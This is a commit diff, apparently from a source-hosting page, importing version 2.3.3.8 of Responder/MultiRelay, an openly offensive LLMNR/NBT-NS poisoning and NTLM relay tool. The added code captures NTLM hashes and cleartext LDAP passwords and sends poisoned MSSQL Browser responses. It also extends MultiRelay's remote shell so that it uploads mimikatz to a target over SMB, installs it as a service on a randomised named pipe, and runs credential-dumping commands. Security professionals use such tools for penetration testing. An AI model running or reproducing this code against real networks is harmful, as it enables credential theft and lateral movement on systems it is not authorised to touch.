Commit 8d46d14c authored by Sophie Brun's avatar Sophie Brun

New upstream version 2.3.3.8

parent f4ea773f
# Responder.py #
# Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
......@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
......@@ -169,6 +169,22 @@ You can contribute to this project by donating to the following BTC address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
## Acknowledgments ##
Late Responder development has been possible because of the donations received from individuals and companies.
We would like to thanks those major donator:
- SecureWorks : https://www.secureworks.com/
- Black Hills Information Security: http://www.blackhillsinfosec.com/
- TrustedSec: https://www.trustedsec.com/
- And all, ALL the pentesters around the world who donated to this project.
Thank you.
## Copyright ##
NBT-NS/LLMNR Responder
......
......@@ -268,8 +268,9 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
if settings.Config.SQL_On_Off:
from servers.MSSQL import MSSQL
from servers.MSSQL import MSSQL, MSSQLBrowser
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
if settings.Config.FTP_On_Off:
from servers.FTP import FTP
......
......@@ -27,37 +27,53 @@ def ParseSearch(data):
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client):
SSPIStart = data[42:]
LMhashLen = struct.unpack('<H',data[54:56])[0]
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if LMhashLen > 10:
LMhashOffset = struct.unpack('<H',data[58:60])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[64:66])[0]
NthashOffset = struct.unpack('<H',data[66:68])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[72:74])[0]
DomainOffset = struct.unpack('<H',data[74:76])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv1',
'client': client,
'user': Domain+'\\'+User,
'hash': NtHash,
'module': 'LDAP',
'type': 'NTLMv2',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication")
......@@ -67,7 +83,7 @@ def ParseNTLM(data,client, Challenge):
NTLMChall.calculate()
return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client)
ParseLDAPHash(data, client, Challenge)
def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84':
......@@ -102,19 +118,37 @@ def ParseLDAPPacket(data, client, Challenge):
elif Operation == "\x63":
Buffer = ParseSearch(data)
return Buffer
elif settings.Config.Verbose:
print text('[LDAP] Operation not supported')
if data[5:6] == '\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen]
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
if settings.Config.Verbose:
print text('[LDAP] Attempting to parse an old simple Bind request.')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserString,
'cleartext': PassStr,
'fullhash': UserString+':'+PassStr,
})
class LDAP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
Challenge = RandomChallenge()
self.request.settimeout(0.4)
data = self.request.recv(8092)
Challenge = RandomChallenge()
for x in range(5):
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
if Buffer:
self.request.send(Buffer)
except socket.timeout:
pass
data = self.request.recv(8092)
except:
pass
......@@ -17,6 +17,7 @@
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
import random
import struct
class TDS_Login_Packet:
......@@ -119,33 +120,59 @@ def ParseClearTextSQLPass(data, client):
# MSSQL Server class
class MSSQL(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
try:
while True:
data = self.request.recv(1024)
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer)
data = self.request.recv(1024)
self.request.settimeout(0.1)
Challenge = RandomChallenge()
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Challenge = RandomChallenge()
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x11": # NegoSSP Auth
ParseSQLHash(data,self.client_address[0])
if data[0] == "\x11": # NegoSSP Auth
ParseSQLHash(data,self.client_address[0],Challenge)
except:
self.request.close()
pass
# MSSQL Server Browser class
# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
class MSSQLBrowser(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
data, soc = self.request
if data:
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER")
elif data[0] == "\x04": # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0] == "\x0F": # CLNT_UCAST_DAC
self.send_dac_response(soc)
def send_response(self, soc, inst):
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
def send_dac_response(self, soc):
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)
File mode changed from 100644 to 100755
......@@ -33,8 +33,12 @@ def GetBootTime(data):
def IsDCVuln(t):
Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date:
print "DC is up since:", t[1]
print "This DC is vulnerable to MS14-068"
print "System is up since:", t[1]
print "This system may be vulnerable to MS14-068"
Date = datetime.datetime(2017, 03, 14, 0, 30)
if t[0] < Date:
print "System is up since:", t[1]
print "This system may be vulnerable to MS17-010"
print "DC is up since:", t[1]
......@@ -63,6 +67,6 @@ def run(host):
if __name__ == "__main__":
if len(sys.argv)<=1:
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
sys.exit('Usage: python '+sys.argv[0]+' System-IP-address')
host = sys.argv[1],445
run(host)
......@@ -45,9 +45,10 @@ from socket import *
__version__ = "2.0"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
def UserCallBack(op, value, dmy, parser):
......@@ -130,7 +131,8 @@ def ShowHelp():
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)'
print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)'
print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)'
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
print color('help',8,1)+' -> Print this message.'
print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
......@@ -574,6 +576,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
else:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShowHelp()
Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
while True:
......@@ -608,6 +611,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
RunAs = re.findall('^runas (.*)$', Cmd[0])
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
Mimi = re.findall('^mimi (.*)$', Cmd[0])
Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0])
Scan = re.findall('^scan (.*)$', Cmd[0])
Pivot = re.findall('^pivot (.*)$', Cmd[0])
Help = re.findall('^help', Cmd[0])
......@@ -684,6 +688,18 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
print MimikatzFilename+" does not exist, please specify a valid file."
del Cmd[:]
if Mimi32:
if os.path.isfile(Mimikatzx86Filename):
FileSize, FileContent = UploadContent(Mimikatzx86Filename)
FileName = os.path.basename(Mimikatzx86Filename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi32[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print Mimikatzx86Filename+" does not exist, please specify a valid file."
del Cmd[:]
if Pivot:
if Pivot[0] == Target[0]:
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
......
......@@ -19,9 +19,11 @@ import sys
import random
import time
import os
import binascii
import re
import datetime
import threading
import uuid
from RelayMultiPackets import *
from odict import OrderedDict
from base64 import b64decode, b64encode
......@@ -371,6 +373,16 @@ def GenerateServiceName():
def GenerateServiceID():
return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
def GenerateNamedPipeName():
return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(random.randint(3, 30))])
def Generateuuid():
RandomStr = binascii.b2a_hex(os.urandom(16))
x = uuid.UUID(bytes_le=RandomStr.decode('hex'))
DisplayGUID = uuid.UUID(RandomStr)
DisplayGUIDle = x.bytes
return str(DisplayGUID), str(DisplayGUIDle)
###
#SMBRelay grab
###
......@@ -542,7 +554,7 @@ def MimiKatzRPC(Command, f, host, data, s):
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCEMimiKatzRPCCommand(CMD=Command)
w.calculate()
x = SMBDCEPacketData(Data=w, Opnum="\x00\x00")
x = SMBDCEPacketData(Data=w, Opnum="\x03\x00")
x.calculate()
t = SMBDCERPCWriteData(FID=f,Data=x)
t.calculate()
......@@ -1925,10 +1937,12 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
global MimiKatzSVCID
global MimiKatzSVCName
try:
DisplayGUID, DisplayGUIDle = Generateuuid()
NamedPipe = GenerateNamedPipeName()
RandomFName = GenerateRandomFileName()
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
#Install mimikatz as a service.
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\wtf /noreg\" service::me exit"
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
MimiKatzSVCName = GenerateServiceName()
MimiKatzSVCID = GenerateServiceID()
......@@ -1940,7 +1954,7 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
Logs.info('Command executed:')
Logs.info(clientIP+","+Username+','+Command)
return data
return data, DisplayGUIDle, NamedPipe
except:
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
......@@ -1949,13 +1963,14 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName):
try:
InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName)
data,s = SMBOpenPipe(Host, data, s)
data,guid,namedpipe = InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName)
data,s = SMBOpenPipe(Host, data, s)
##Wait for the pipe to come up..
time.sleep(1)
data,s,f = BindCall("\xe9\x11\xfc\x17\x58\xc2\x8d\x4b\x8d\x07\x2f\x41\x25\x15\x62\x44", "\x01\x00", "\\wtf", data, s)
data,s,f = MimiKatzRPC(Command, f, Host, data, s)
data,s = SMBDCERPCCloseFID(f, data,s)
data,s,f = BindCall(guid, "\x01\x00", "\\"+namedpipe, data, s)
data,s,f = MimiKatzRPC(Command, f, Host, data, s)
data,s = SMBDCERPCCloseFID(f, data,s)
#####
#Kill the SVC now... Never know when the user will leave, so lets not leave anything on the target.
data,s = SMBOpenPipe(Host, data, s)
......@@ -1972,7 +1987,7 @@ def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileNam
return ModifySMBRetCode(data)
except:
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
print "[+] Something went wrong while calling mimikatz. Did you run install mimi before launching this command?"
print "[+] Something went wrong while calling mimikatz. Maybe it's a 32bits system? Try mimi32."
return ModifySMBRetCode(data)
##########Pivot#############
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment